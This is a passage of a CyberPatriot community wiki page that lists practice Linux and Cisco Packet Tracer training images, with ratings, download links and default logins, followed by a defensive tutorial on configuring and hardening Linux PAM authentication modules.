| data-sort-value="0" | 0 – Unrated
| data-sort-value="0" | —
| Unknown
| —
| —
| [https://drive.google.com/file/d/1qMPyLA76h2RTUu95IxE3cwRstacT8-HJ/view Google Drive]
|-
| '''Titan'''
| Windows 10
| data-sort-value="0" | 0 – Unrated
| data-sort-value="0" | —
| Unknown
| —
| —
| [https://drive.google.com/file/d/1sPRayHz74vLBL8KrQNO1JdAVzQQ2YpSB/view Google Drive]
|-
| '''Generic Windows 2022 Practice'''
| Windows Server 2022
| data-sort-value="0" | 0 – Unrated
| data-sort-value="1.0" | 1
| Unknown
| —
| Login: <code><nowiki>dva</nowiki></code> / <code><nowiki>enemyspotted</nowiki></code>
| [https://drive.google.com/file/d/1JUQLly7S0m980L1kEm7tH2bKvjwklVcb/view Google Drive]
|-
| '''Skip Brewer (?)'''
| Windows 10
| data-sort-value="0" | 0 – Unrated
| data-sort-value="0" | —
| Unknown
| —
| One of several older images in a shared Google Drive folder.
| [https://drive.google.com/drive/folders/1LY_nvNZwJ9AxKO-fQCg7q08cNjVJhfKv Google Drive folder]
|}

== Linux ==

{| class="wikitable sortable" style="width:100%"
|-
! Image
! OS
! Difficulty
! Rating
! Creator
! Critical services
! class="unsortable" | Notes
! class="unsortable" | Download
|-
| '''eth007's Arena (Ubuntu 22)'''
| Ubuntu 22
| data-sort-value="7" | 7 – Super Hard
| data-sort-value="7.0" | 7
| eth007
| SSH (openssh-server), Samba server (smbd), Elasticsearch, Kibana, Logstash, Filebeat
| —
| [https://drive.google.com/file/d/1qpe6mq5QS0s8ee-Z-fO4Yktm7Bx_Kl79/view?usp=drive_link Google Drive]
|-
| '''eth007's Arena (Debian 11)'''
| Debian 11
| data-sort-value="7" | 7 – Super Hard
| data-sort-value="10.0" | 10
| eth007
| Dovecot, Postfix, Apache2
| —
| [https://drive.google.com/file/d/1Q65-3hOYKSssoMtwZBQND_o5BsiX1bjS/view?usp=drive_link Google Drive]
|-
| '''Potato Kingdom'''
| Mint 21
| data-sort-value="7" | 7 – Super Hard
| data-sort-value="0" | —
| samn0270_65431
| Mailcow, Postfix, Dovecot, SOGo, PHP-FPM, Nginx, MariaDB, Redis, Rspamd
| Login: <code><nowiki>puhtahto</nowiki></code> / <code><nowiki>potato</nowiki></code>
| [https://drive.google.com/file/d/1NPcR_uo73NvqtaC8ebIU19xTrIu4w0eB/view?usp=drive_link Google Drive]
|-
| '''Botforge Practice'''
| Mint 22
| data-sort-value="6" | 6 – Hard - Super Hard
| data-sort-value="10.0" | 10
| tirefire
| SSH, Nginx, MariaDB, Docker
| —
| [https://tirefire.org/posts/botforge-practice/ Author's page]
|-
| '''Fellowship of the Ring (Sys Hardening 8)'''
| Fedora 38
| data-sort-value="5" | 5 – Hard
| data-sort-value="0" | —
| eth007
| SSH (openssh-server), HTTP (boa)
| —
| [https://drive.google.com/file/d/1pf11TRG9gh94x0wli3-tX3P4PlQhccmW/view Google Drive]
|-
| '''Hollow Knight'''
| Ubuntu 24.04
| data-sort-value="5" | 5 – Hard
| data-sort-value="0" | —
| aryajb_
| Apache, MySQL
| Default login: <code><nowiki>knight</nowiki></code> / <code><nowiki>password</nowiki></code>
| [https://drive.google.com/drive/folders/1cpgftalqqRAitYMl3Z31RrKJm6FOHJ5D?usp=sharing Google Drive folder]
|-
| '''Little Big Planet'''
| Ubuntu 16.04
| data-sort-value="5" | 5 – Hard
| data-sort-value="1.0" | 1
| Unknown
| SSH, vsftpd
| —
| [https://drive.google.com/file/d/135ReRspmJm-4Kv4el_g-zpJITXDZUUO3/view?usp=drive_link Google Drive]
|-
| '''1984'''
| Mint 22.3
| data-sort-value="5" | 5 – Hard
| data-sort-value="0" | —
| ml2322
| Dovecot, MLSMTP, SFTP (ssh)
| <nowiki>Walkthrough: https://raw.githubusercontent.com/Matthiasclee/1984-Mint22.3/refs/heads/master/Walkthrough.pdf</nowiki>
| [https://cypat.s3.us-west-1.amazonaws.com/1984.zip Amazon S3] [https://raw.githubusercontent.com/Matthiasclee/1984-Mint22.3/refs/heads/master/Walkthrough.pdf Walkthrough (spoilers)]
|-
| '''Nevermore'''
| Ubuntu 22
| data-sort-value="5" | 5 – Hard
| data-sort-value="7.0" | 7
| hypernova
| OpenSSH, Seafile, MySQL
| Login: <code><nowiki>waddams</nowiki></code> / <code><nowiki>password</nowiki></code>
| [https://drive.google.com/file/d/1EW3hsjZMM--UtoFJuYBVbAMhUwU4Z8gn/view Google Drive]
|-
| '''Kimetsu No Yaiba'''
| Ubuntu 22.04
| data-sort-value="5" | 5 – Hard
| data-sort-value="6.5" | 6.5
| samn0270_65431
| OpenSSH Server, Very Secure FTPD, PostgreSQL
| —
| [https://drive.google.com/file/d/1O3TSZnGTQf-pgcBOs7-d2XPuqYWgtCWE/view Google Drive]
|-
| '''Aperture Science Ubuntu'''
| Ubuntu 22.04
| data-sort-value="5" | 5 – Hard
| data-sort-value="9.5" | 9.5
| InfernusHawk
| OpenSSH Server (SSH), FTP Server (vsftpd), Apache Server (apache2)
| The difficulty is an unconfirmed estimate based on the Aperture Science Windows image.
| [https://drive.google.com/file/d/1_ZDn7K4Xy6pQ5YXWroqBkZoIdYfSivkT/view Google Drive] [https://discord.com/channels/301768361136750592/1058312750905954397/1153448304768716862 Extra details (Discord, needs access)]
|-
| '''LAMP Stack Practice'''
| Ubuntu 16
| data-sort-value="3" | 3 – Medium
| data-sort-value="0" | —
| Unknown
| LAMP + Wordpress
| —
| [https://drive.google.com/file/d/1vAq_f9lZq3vyFIu6fjwDcpsuMv-saUez/view?usp=drive_link Google Drive]
|-
| '''Among Us (Sys Hardening 10)'''
| Ubuntu 22.04
| data-sort-value="3" | 3 – Medium
| data-sort-value="0" | —
| FIREPONY57
| Samba, MySQL Server, SSH
| System Hardening 10 contains additional fixes.
| [https://drive.google.com/file/d/1z64QN-DWQHXQbDGuslJc68pD-ggtJcsx/view Google Drive]
|-
| '''Space Force Server'''
| Debian 8
| data-sort-value="3" | 3 – Medium
| data-sort-value="3.0" | 3
| Magistrate
| ProFTPD, Bind9, SSH
| The services are inferred; the image does not state them.
| [https://drive.google.com/file/d/1Eo6FIq9UfWtzyIso62FH9yJ922Kvj54T/view Google Drive]
|-
| '''Kalis Ubuntu Image'''
| Ubuntu 18
| data-sort-value="3" | 3 – Medium
| data-sort-value="9.0" | 9
| KaliPatriot
| Open SSH Server (sshd), Very-Secure FTP Server (vsftpd)
| <nowiki>Additional information can be found here https://discord.com/channels/301768361136750592/414537868766347265/1059965290328367286</nowiki>
| [https://drive.google.com/file/d/1ZLKf-DAij1VN6aFz6T5Z3fpGEpfxJWzo/view?usp=sharing Google Drive] [https://discord.com/channels/301768361136750592/414537868766347265/1059965290328367286 Extra details (Discord, needs access)]
|-
| '''X-Men'''
| Ubuntu 24.04
| data-sort-value="3" | 3 – Medium
| data-sort-value="0" | —
| fastanddanger2
| Open SSH Server (sshd), Apache2 Web Server (apache2), VSFTPD FTP Server (vsftpd)
| —
| [https://drive.google.com/file/d/18mJ9lTTc8JR-jRz7eL1cqdJEKGrOFeCv/view?usp=sharing Google Drive]
|-
| '''Narnia Minecraft Server (Sys Hardening 6)'''
| Ubuntu 22
| data-sort-value="1" | 1 – Easy
| data-sort-value="9.3" | 9.3
| eth007
| SSH (openssh-server), HTTP (nginx), Minecraft server
| A walkthrough exists. Give the image everything you have before opening it.
| [https://drive.google.com/file/d/12x8aYXIpGwO47MIvUCB6G3bqV-8npVUx/view Google Drive] [https://github.com/Quasar0147/Syshardening-6-Writeup/tree/main Walkthrough (spoilers)]
|-
| '''Rooreaper Strikes Back (Sys Hardening 7)'''
| Ubuntu 22
| data-sort-value="1" | 1 – Easy
| data-sort-value="10.0" | 10
| eth007
| SSH (openssh-server)
| A walkthrough exists. Give the image everything you have before opening it.
| [https://drive.google.com/file/d/1gyshPKjhQ2o907LQpwB_gq3BeqwmN2ko/view Google Drive] [https://github.com/ImaginaryCTF/ImaginaryCTF-2022-Challenges/tree/master/Misc/system-hardening-7 Walkthrough (spoilers)]
|-
| '''Cybertech Ubuntu Image'''
| Ubuntu 24.04
| data-sort-value="1" | 1 – Easy
| data-sort-value="0" | —
| immortalmanan
| None
| Login: <code><nowiki>jmuskington</nowiki></code> / <code><nowiki>password123!</nowiki></code>
| [https://drive.google.com/file/d/10QHbNdrtHqyX0U-5KMdIBHvdUt8FVi4e/view Google Drive]
|-
| '''Bloons TD 6'''
| Debian 10
| data-sort-value="1" | 1 – Easy
| data-sort-value="0" | —
| Mobmaker
| OpenSSH
| —
| [https://drive.google.com/file/d/1-QN2GjowfgRHPnI9JibqwZiyx-mGgCzT/view Google Drive]
|-
| '''Age of Pirates'''
| Mint 22
| data-sort-value="1" | 1 – Easy
| data-sort-value="8.0" | 8
| gooseman
| OpenSSH, vsftpd, Apache2
| Login: <code><nowiki>jack_sparrow</nowiki></code> / <code><nowiki>C@pt@1nJack#321</nowiki></code> An answer key / walkthrough exists.
| [https://drive.google.com/file/d/1uXWLFdBXJ-_IgD2vtWKtXLmW4oiE6vOr/view Google Drive]
|-
| '''Critical Service Chaos'''
| Debian 10
| data-sort-value="0" | 0 – Unrated
| data-sort-value="0" | —
| Unknown
| OpenSSH Server (sshd), NGINX Webserver (nginx), Apache Webserver (apache2), Samba Server (smbd), PostgreSQL (postgresql)
| Login: <code><nowiki>admin-bear</nowiki></code> / <code><nowiki>^qpwp4Wr</nowiki></code>
| [https://drive.google.com/drive/folders/1v_n7FT-tcrZSNMtm_9SyDPEh8i-5AYEf Google Drive folder]
|-
| '''Nintendo Semifinals Practices'''
| Debian 11
| data-sort-value="0" | 0 – Unrated
| data-sort-value="0" | —
| Unknown
| LAMP (all component + WordPress)
| After extracting, delete <code><nowiki>Nintendo Debian 11 Semifinals Practice Image.vmsd</nowiki></code> from the folder.
| [https://drive.google.com/file/d/1YEWwGZPPGMZmhno2HVDOk5To4eSbBYiC/view Google Drive]
|-
| '''Mr. Robot'''
| Fedora 37
| data-sort-value="0" | 0 – Unrated
| data-sort-value="0" | —
| tirefire
| SSH (unconfirmed)
| Corrections for the forensics questions are on the author's page.
| [https://ln5.sync.com/dl/3e4ff83c0/u2wyn5b9-yuthhkgw-dqhghbr4-qme8tqjx Sync.com] [https://tirefire.org/posts/fedora-practice/ Author's page]
|-
| '''House on the Borderland'''
| Ubuntu 20
| data-sort-value="0" | 0 – Unrated
| data-sort-value="8.0" | 8
| poarthanarseus
| None
| —
| [https://drive.google.com/file/d/1MaEmGrTFMZIcG2S0DPCLDfWffThndkGk/view?usp=sharing Google Drive]
|-
| '''System Hardening 11'''
| Mint 22
| data-sort-value="0" | 0 – Unrated
| data-sort-value="9.0" | 9
| shubuntu + prilasey
| SSH, Samba
| Has a scoring issue with FQ5; an updated README is available.
| [https://drive.google.com/file/d/1dQfLPgzDq-iaXBCNLLrgDsWxYtpTWbDP/view Google Drive]
|-
| '''Eric Zuniga Ubuntu CP ImageAeacusv2'''
| Ubuntu (version unknown)
| data-sort-value="0" | 0 – Unrated
| data-sort-value="0" | —
| Eric Zuniga
| —
| From the "CyberSpace Image Directory"; not verified to work.
| [https://drive.google.com/file/d/1yt3PaFp1Kb7Hv50Uszmq3klkGfWSqIxI/view Google Drive]
|-
| '''Ubuntu16-FlashGordonScoreAeacus'''
| Ubuntu 16
| data-sort-value="0" | 0 – Unrated
| data-sort-value="0" | —
| Unknown
| —
| From the "CyberSpace Image Directory"; not verified to work.
| [https://drive.google.com/file/d/1la-V6x0EI3IcTaHJhAXcXtH6PM5bjx0w/view Google Drive]
|-
| '''GreenArrowUbuntu16Lvl7'''
| Ubuntu 16
| data-sort-value="0" | 0 – Unrated
| data-sort-value="0" | —
| Unknown
| —
| From the "CyberSpace Image Directory"; not verified to work.
| [https://drive.google.com/file/d/1Gjh93xlDgRV3Vp1XXazlOUL-uVRLeu7n/view Google Drive]
|-
| '''SuperGirl-Ubuntu16'''
| Ubuntu 16
| data-sort-value="0" | 0 – Unrated
| data-sort-value="0" | —
| Unknown
| —
| From the "CyberSpace Image Directory"; not verified to work.
| [https://drive.google.com/file/d/1vZ6AXodZW96_yoiLWo8E1bxKkSx_G_wD/view Google Drive]
|-
| '''Seinfield'''
| Ubuntu (version unknown)
| data-sort-value="0" | 0 – Unrated
| data-sort-value="0" | —
| hashfastr
| —
| Very old image, from around CyberPatriot season 8.
| [https://practicevms.s3.us-east-1.amazonaws.com/Seinfeld+ubuntu+image+by+Sylvain+Jones.zip Amazon S3]
|}

== Cisco Packet Tracer ==

These are Packet Tracer activity files (<code>.pka</code>). You need [https://www.netacad.com/ Cisco Packet Tracer], which Cisco offers through its Networking Academy. Open the file, read the instructions and complete the tasks.

{| class="wikitable sortable" style="width:100%"
|-
! Image
! Difficulty
! Rating
! Creator
! Major protocols
! class="unsortable" | Notes
! class="unsortable" | Download
|-
| '''CCNA Mega Lab (Jeremy's IT Lab).pka'''
| data-sort-value="7" | 7 – Super Hard
| data-sort-value="9.7" | 9.7
| Jeremy IT Lab
| VLANs, L2 and L3 EtherChannels, IPv4 addressing, HSRP, Rapid PVST+, OSPF, static routing, DHCP, NTP, SNMP, Syslog, FTP, SSH, NAT, ACLs and other L2 security features, IPv6 addressing, wireless
| Walkthrough available from Jeremy's IT Lab.
| [https://drive.google.com/file/d/1WsLlEmMS38Zfq0AOg3fq3TZmTX7sSPMz/view?usp=drive_link Google Drive]
|-
| '''Modules_1_13_Image.pka'''
| data-sort-value="6" | 6 – Hard - Super Hard
| data-sort-value="0" | —
| noobfooditem123
| OSPF, ACL, VPN/IPSec
| —
| [https://drive.google.com/file/d/1NOZvFVst0RhbQuH18WS8P_t8mRubvTgf/view Google Drive]
|-
| '''Final_R3_BDSM.pka'''
| data-sort-value="5" | 5 – Hard
| data-sort-value="4.0" | 4
| crescental_, toasty3302
| <nowiki>DHCP, VLANs & Trunking, Inter-VLAN Routing (SVI on MLS), OSPF, Static Routing, NAT, Syslog, NTP, AAA w/ TACACS+, SSH</nowiki>
| dw about the name lol
| [https://drive.google.com/file/d/1h-9tX9uS4WO-giUBY0LWhDPLOpurR8x5/view?usp=drive_link Google Drive]
|-
| '''R3_OKCUP_23_24_CiscoPT.pka'''
| data-sort-value="4" | 4 – Medium - Hard
| data-sort-value="8.0" | 8
| Oklahoma Cup
| <nowiki>SSH, NTP, Syslog, NAT (Static, Dynamic, PAT), DHCP, ACL (Standard & Extended)</nowiki>
| —
| [https://drive.google.com/file/d/18y8PBfuA_dF9tmlhD6-_CjSaIJESHVnM/view?usp=drive_link Google Drive]
|-
| '''R3_OKCUP_24_25_CiscoPT.pka'''
| data-sort-value="4" | 4 – Medium - Hard
| data-sort-value="7.0" | 7
| Oklahoma Cup
| <nowiki>SSH, NTP, Syslog, NAT (Static, Dynamic, PAT), DHCP, ACL (Standard & Extended)</nowiki>
| —
| [https://drive.google.com/file/d/1QbC1NRSNZ26EBlEQnee0LjSrBW-SW2fu/view?usp=drive_link Google Drive]
|-
| '''Atomic Inn'''
| data-sort-value="4" | 4 – Medium - Hard
| data-sort-value="0" | —
| AntryCat
| <nowiki>OSPF, Static Routing, VLANs, Trunking, Inter-VLAN Routing (SVI on MLS & RoaS), EtherChannel (LACP), Spanning-Tree, HSRP</nowiki>
| Report issues to @antrycat on Discord.
| [https://drive.google.com/file/d/15qO2QE1wzdM6shxb4pHFLYHIaocp4s_w/view?usp=drive_link Google Drive]
|-
| '''R2_OKCUP_24_25_CiscoPTUNLOCKED.pka'''
| data-sort-value="3" | 3 – Medium
| data-sort-value="10.0" | 10
| Oklahoma Cup
| <nowiki>OSPF, Static Routing, VLAN & Trunking, Inter-VLAN Routing (SVI on MLS, RoaS), SSH</nowiki>
| —
| [https://drive.google.com/file/d/1Qy-oZx8F-jvvEfYJ0_i0kX3wCvmshXsY/view?usp=drive_link Google Drive]
|-
| '''AP CyberPatriot Networking R2 Full Exam'''
| data-sort-value="3" | 3 – Medium
| data-sort-value="8.5" | 8.5
| lolmenow, okdargy
| —
| Mock exam; the answer key is on the same page.
| [https://sakouk.me/blog/2026/AP-CyberPatriot-R2-Mock-Exam.html Author's page]
|-
| '''R1_OKCUP_24_25_CiscoPT.pka'''
| data-sort-value="2" | 2 – Easy - Medium
| data-sort-value="0" | —
| Oklahoma Cup
| <nowiki>IPv4 Addressing, Static Routing, VLANs & Trunking, Inter-VLAN Routing (SVI on MLS), SSH</nowiki>
| —
| [https://drive.google.com/file/d/1DCm-k1fsHxDFNW58mTkg4Bfjjnj-fwa7/view?usp=sharing Google Drive]
|-
| '''Pixystems.pka'''
| data-sort-value="2" | 2 – Easy - Medium
| data-sort-value="9.0" | 9
| AntryCat
| <nowiki>Static Routing, VLANs & Trunking, Inter-VLAN Routing (SVI on MLS), IPv4 Addressing</nowiki>
| Report issues to @antrycat on Discord.
| [https://drive.google.com/file/d/1MWs3cVVo1RxIhpippNrkyIHrU4r7R127/view?usp=sharing Google Drive]
|-
| '''Baby Steps PKA'''
| data-sort-value="1" | 1 – Easy
| data-sort-value="8.5" | 8.5
| stageking5000
| IPv4, IPv6 Addressing, VLANs, SSH, DTP
| —
| [https://drive.google.com/file/d/1ZizvwKdlIjZyKwDIX3MoxnCqXiKW9H4j/view?usp=drive_link Google Drive]
|-
| '''NationalsEmulatorTemplate.pka'''
| data-sort-value="0" | 0 – Unrated
| data-sort-value="10.0" | 10
| noobfooditem123
| —
| Meant to emulate the national round, as the name says.
| [https://drive.google.com/file/d/1vRCt8XVWyJLZOGpByb3o7rghUfyBmtZ1/view?usp=drive_link Google Drive]
|-
| '''CCNA Lab Series'''
| data-sort-value="0" | 0 – Unrated
| data-sort-value="0" | —
| Jeremy IT Lab
| —
| Covers the whole CCNA. Walkthroughs by Jeremy's IT Lab.
| [https://drive.google.com/drive/folders/1hTUo9LDSbJ7WAqiAJ8WdVvsWBE6z3MG6?usp=drive_link Google Drive folder]
|-
| '''CCNA Flashcards and Labs'''
| data-sort-value="0" | 0 – Unrated
| data-sort-value="10.0" | 10
| Jeremy IT Lab
| —
| Covers the whole CCNA and includes a full flashcard set. Walkthroughs by Jeremy's IT Lab.
| [https://drive.google.com/drive/folders/1PwK_jWqfUtOjV7gHt8ODutq9QA5cxCgi Google Drive folder]
|}

== Other ==

{| class="wikitable sortable" style="width:100%"
|-
! Image
! OS
! Difficulty
! Rating
! Creator
! Critical services
! class="unsortable" | Notes
! class="unsortable" | Download
|-
| '''Boeing 2.0'''
| Boeing
| data-sort-value="0" | 0 – Unrated
| data-sort-value="9.7" | 9.7
| lukshmwah
| —
| Legacy image; the source list calls it a relic.
| [https://drive.google.com/file/d/1j_f3m6KezvvLMhCdUWkW0h_tRAZ-sRtt/view Google Drive]
|}

== Credits ==

This page is adapted from the community-maintained practice-image lists (Windows, Linux, Cisco and Miscellaneous) that were published on the CyberPatriot community's cypat.guide site; the Windows list credits carbonice as its maintainer. The image names, difficulty labels, ratings and creator credits come from those lists. Images are the work of the creators named in each row.

[[Category:Practice images]]

PAM (Pluggable Authentication Module)

2026-09-18T18:18:53Z

MigrationBot: Import from cypat.guide: docs/linux/account_policies/pam.md

{{Submit}}


-----

Author(s): Kirill Shore

Last Updated: 10-02-2025

{| class="mw-collapsible mw-collapsed wikitable" style="width:100%"
! Recommended Prerequisites (click to expand)
|-
|

None

|}

== What is PAM? ==

PAM stands for Pluggable Authentication Module. It's a framework that provides important ways to create authentication (and related) programs indipendently of the applications that use them. PAM may be used to handle tasks like verifying a username and password, checking biometric data, or working with external systems like Kerberos, LDAP, or 2FA. PAM systems administartors have the ability to then plug in different authentication module methods (like 2FA) without changing/rewriting applications/programs. I.e. you may switch from password authentication to security keys. Fun fact: the applications themselves don't know how authentication is performed. The only thing they do is ask pam if the user is who they claim to be.

== Pam Basics ==

There are several PAM services (not to be confused with modules), as an example:

* <code>sshd</code>, which handles authentication for remote logins via SSH. It validates credentials like passwords, keys, MFA, etc., enforces different policies like banning the ability to login as root, or requiring 2FA. It can also prevent brute force attempts when combined with modules like pam_tally2.
* <code>login</code>, it controls authentication for users who are logging in via a text console (i.e. tty). It verifies the username and password, checks if the account is locked/expired, and applies restrictions like time of day logins.
* <code>sudo</code>, manages authentication when a user attempts to run commands as another user (i.e. su). It prompts the user for password before escalating privelages. It also has the ability to timeout someone who is root and force them to re-login. On many distros, su cannot be run alone to switch to root, as the root account is disabled by default (meaning its password is locked). Sudo su is instead used. Sudo checks if your user in the sudo or wheel group, asks for your password, and then runs su as root so that there is no need for a root password. Each PAM service also has its own file in <code>/etc/pam.d</code>. These files define which modules are being user (modules are shared libraries that perform special security functions, such as user authetication, account management, session management, or password management). Some PAM modules are, but not limited to:
* <code>pam_unix.so</code> (Default PAM module)
* <code>pam_tally2.so</code> (Which is used to count login attempts and lock an account after a specified number of failed attempts)
* <code>pam_google_authenticator.so</code> (Which provides 2FA support if you use the Google Authenticator app on a mobile device)

== PAM Security Principles ==

In any Cybersecurity industry, the idea of Least Privilege is important, in order to prevent users from having more power than they need. For example, a teller for FreedomBank has to process a transaction, depositing phyisical cash and adding it to the customers bank account. This employee should not, nor do they need, access to information (unless for verification purposes) such as the tiles or details of past transactions other than their amounts, investment accounts, debts or loans, etc. In this case, the teller is given the minimum privileges to do their job, and nothing more. But how can PAM be used in this case? Let's suppose that the teller logs into a banking application or a Linux shell for deposits. In <code>/etc/pam.d/deposit_app</code>, we would configure PAM to allow teller group users or higher to authenticate:

<syntaxhighlight lang="text">auth required pam_unix.so
account required pam_succeed_if.so user ingroup tellers</syntaxhighlight>
(Note that the above is a basic configuration that will ONLY allow tellers to login. An example of a more realistic configuration is below)

<syntaxhighlight lang="text">auth required pam_faillock.so preauth silent deny=5 unlock_time=600 # (this would lockout the account to prevent brute-force attacks
auth required pam_unix.so try_first_pass # (primary password authentication)
auth required pam_u2f.so authfile=/etc/security/u2f_mappings cue # (this would require 2FA via FIDO/U2F security key, and store mappings in /etc/security/u2f_mappings)
auth required pam_faillock.so authfail # (count failures, records them in /var/run/faillock. If the amount of failures exceeds the threshold, the account is locked for the configured time)
auth sufficient pam_faillock.so reset # (If this module succeeds---thus the user authenticates---then it clears any failed login attempts for that user, and resest the counter to 0 for that user)</syntaxhighlight>
== PAM Control Flags and Keywords ==

Now, you may be asking: what do those flags, like <code>auth</code>, <code>required</code>, <code>sufficient</code> and etc. mean? Well, these words are PAM control flags, and they decide when a specific module is invoked, how its result is interpreted, and whwether or not pam keeps processing.

First, there are the facility keywords. These keyowrds tell PAM which phase or type of check the line belongs to.

* <code>auth</code> -> This verifies a users identity (i.e. Password check, 2FA, smartcard)
* <code>account</code> -> This determines if the account is allowed access. (i.e. Is the account expired? Is the user allowed to login from 21:00-08:00?)
* <code>password</code> -> This handles changing or updating credentials. (i.e. Enforcing strong password rules when a user runs the command <code>passwd</code>)
* <code>session</code> -> This manages session startup and shutdown. (i.e. Logging session start/stop, mounting home directiories, applying resource limits)

Next, we have the control flags. These define what pam should do with the results of the module.

* <code>required</code> -> This instructs that the module must succeed in order for authentication to succeed. However, if the module fails, PAM will continue processing, to prevent the user from knowing which check had failed. If any <code>required</code> module fails, the outcome will be fail, no matter if other modules succeeded.
* <code>requisite</code> -> This is mostly the same as <code>required</code> above. However, instead of continuing upon failure, PAM will stop immediatley and deny access.
* <code>sufficient</code> -> If the module succeeds, no further checks are required, and access will be immediatley granted. However, if the module fails, then PAM will keep going.
* <code>optional</code> -> Whether or not the success or failure of that module will be considered is if it is the only module of that type. Otherwise, it'll be ignored. This is mainly used for logging modules and non-critical checks.
* <code>include</code> -> This isn't a flag, but actually a directive. It means 'include another PAM configuration file here'. It is mostly used for reusing common configurations.

== PAM Modules ==

Most linux systems come pre-installed with PAM and some modules, whcih are commonly located in <code>/lib/x86_64-linux-gnu/security/</code> (on Debian/Ubuntu distros; path will/,ay differ on others). Below is a list of common modules, what each of them do, and vulnerabilities/misconfigurations.

* <code>pam_unix</code> Handles traditional UNIX authentication (passwords stored in <code>/etc/passwd</code> or <code>/etc/shadow</code>). Vulnerability: If the passwords in <code>/etc/shadow</code> are compromised, or weak passwords are used, threat actors can brute force credentials.
* <code>pam_cracklib</code>/<code>pam_pwquality</code> Enforces password strength rules (length, complexity, dictionary checks). Vulnerability: If module isn't used, weak passwords will be used. If misconfigured, the rules may bee too relaxed (meaning simple passwords) or too strict (meaning passwords complex enough that most users would write their passwords on a sticky note... which they would stick to their monitor).
* <code>pam_limits</code> Applies limits defined in <code>/etc/security/limits.conf</code> (i.e., max processes, file sizes). Vulenrability: Weak or missing limits will allow Denial of Service (Dos) via fork bombs or resource exhaustion.
* <code>pam_securetty</code> Restricts <code>root</code> login to "secure" terminals that are listed in <code>/etc/securetty</code>. Vulnerability: If misconfigured, threat actors could login as root from unsafe terminals (i.e. remote consoles).
* <code>pam_nologin</code> Blocks non-root users from logging in if <code>/etc/nologin</code> exists (can be used when editing an account to prevent access to it during a timeframe when root permissions are being changed, i.e. an employee being demoted in a company). Vulnerability: If neglected, it may unintentionally lock out legitimate users, or vice-versa not be deployed when it should've been.
* <code>pam_time</code> Restricts logins based on time of day rules in <code>/etc/security/time.conf</code>. Vulnerability: Misconfiguration could allow off hours logins to systems when it should be denied (i.e. a bank representative accessing users' accounts at 2am).
* <code>pam_access</code> Controls access based on user and host rules from <code>/etc/security/accesss.conf</code>. Vulnerability: Misconfiguration can grant the wrong users access and deny access to the users that need it.
* <code>pam_tally</code>/<code>pam_tally2</code>/<code>pam_faillock</code> Counts failed login attempts and can lock accounts after there were too many failed attempts. Vulnerability: <code>pam_tally</code> and <code>pam_tally2</code> have been deprecated due to counting errors, possible username leakage, and more. Replaced with <code>pam_faillock</code>.
* <code>pam_wheel</code> Restricts the <code>su</code> command to users in the <code>wheel</code> (also called <code>sudo</code>) group. Vulnerability: Exploiting [https://nvd.nist.gov/vuln/detail/CVE-2003-0388 CVE-2003-0388] could allow a threat actor to gain <code>wheel</code>/<code>sudo</code> privilages, then modify files like <code>sudo</code>, <code>login</code>, or <code>pam_exec</code>.
* <code>pam_exec</code> Runs an external program or script during authentication. Vulnerability: Misconfiguration may result in running incorrect programs during authentication.
* <code>pam_systemd</code> Integrates uers sessions with systmd. Vulneravility: could be exploited to read coredump information, which may include <code>/etc/shadow</code>. [https://nvd.nist.gov/vuln/detail/CVE-2025-4598 CVE-2025-4598].
* <code>pam_xauth</code> Handles X11 forwarding authentication for X11 graphical sessions. Vulnerability: If misconfigured, an insecure forwarding setup may allow [https://www.tenable.com/plugins/nessus/31737?utm_source=chatgpt.com X11 session hijacking].
* <code>pam_umask</code> Sets the default file creation permissions (umask) for users. Vulnerability: if minimum permissions are not implemented, users may be able to create world-readable files that leak data (i.e., private keys and SSH data like ~/.ssh/id_rsa).
* <code>pam_group</code> Assigns users to groups at login based on rules. Vulnerability: Misconfiguration could result in users being granted unintended group privilages.

=== Practice ===

Can you instruct PAM to have a user login, verify via Google authenticator (<code>pam_google_authenticator.so</code>), and solve a Captcha (<code>/usr/local/sbin/pam_captcha.sh</code>) before being granted access? If the user fails the captcha three times, the account is immediatley locked.

{| class="mw-collapsible mw-collapsed wikitable" style="width:100%"
! Solution (click to expand)
|-
|

<syntaxhighlight lang="text">auth required pam_faillock.so preauth silent deny=3 unlock_time=900
auth required pam_unix.so try_first_pass
auth required pam_google_authenticator.so
auth required pam_exec.so quiet log=/var/log/pam_captcha.log seteuid /usr/local/sbin/pam_captcha.sh
auth required pam_faillock.so authfail
auth sufficient pam_faillock.so reset</syntaxhighlight>
|}

{| class="mw-collapsible mw-collapsed wikitable" style="width:100%"
! Explanation (click to expand)
|-
|

The first line is a pre-auth. It defines that after 3 total auth failures, the account will be locked. The second line defines that the primary authentication factor that must be met is the password. The third line defines that the secondary authentication factor that must be met is getting a code from Google Authenticator. The fourth line executes a captcha via an external script, and the script will pass to PAM whether or not it failed. The fith line counts failures. The sixth line resets the failure counter upon success. 

'''Open-ended question:''' 

The first line is a pre-auth. It defines that after 3 total auth failures, the account will be locked. The second line defines that the primary authentication factor that must be met is the password. The third line defines that the secondary authentication factor that must be met is getting a code from Google Authenticator. The fourth line executes a captcha via an external script, and the script will pass to PAM whether or not it failed. The fith line counts failures. The sixth line resets the failure counter upon success. 

'''Open-ended question:''' 

Why do you think <code>required</code> was used instead of <code>requisite</code>?

|}

== PAM Vulnerabilites ==

Although PAM seems to be a very straightforward and secure authentication method, it introduces serious security risks if it is not managed correctly.

Most exploits boil down to attackers using [https://www.broadcom.com/support/security-center/protection-bulletin/plague-a-linux-backdoor malicious module] to create backdoors. Because PAM modules run with higher privileges, any compromised or malicious modules can log credentials, grant unauthorized access, or lock out accounts. Current PAM vulnerabilites can be found [https://www.cve.org/CVERecord/SearchResults?query=pam+linux here].

== PAM Auditing ==

* <code>/usr/lib64/security</code>
* <code>/etc/pam.d</code>
* <code>/etc/security</code>
* <code>/var/log/secure</code>

[https://www.kirillshore.com My wesbite]

[https://buymeacoffee.com/kirillshore Buy me a coffee]

== Further Reading ==

https://www.redhat.com/en/blog/pam-configuration-file 
https://www.redhat.com/en/blog/pluggable-authentication-modules-pam 
https://unit42.paloaltonetworks.com/linux-pam-apis/ 
https://www.broadcom.com/support/security-center/protection-bulletin/plague-a-linux-backdoor 
https://www.cyberark.com/resources/blog/plague-malware-exploits-pluggable-authentication-module-to-breach-linux-systems

-----

This Wiki page was authored by Kirill Shore. Within cypat.guide, this content is licensed under CC-BY 4.0. All use outside of cypat.guide is governed by the Shore-Roger Enterprises End User License Agreement (https://www.kirillshore.com/eula). Proper attribution to Kirill Shore as the original author is required. Unauthorized copying, modification, or redistribution without appropriate credit constitutes plagiarism and may be subject to U.S. copyright law.

[[Category:Linux Account Policies|025]]
[[Category:Migrated from cypat.guide]]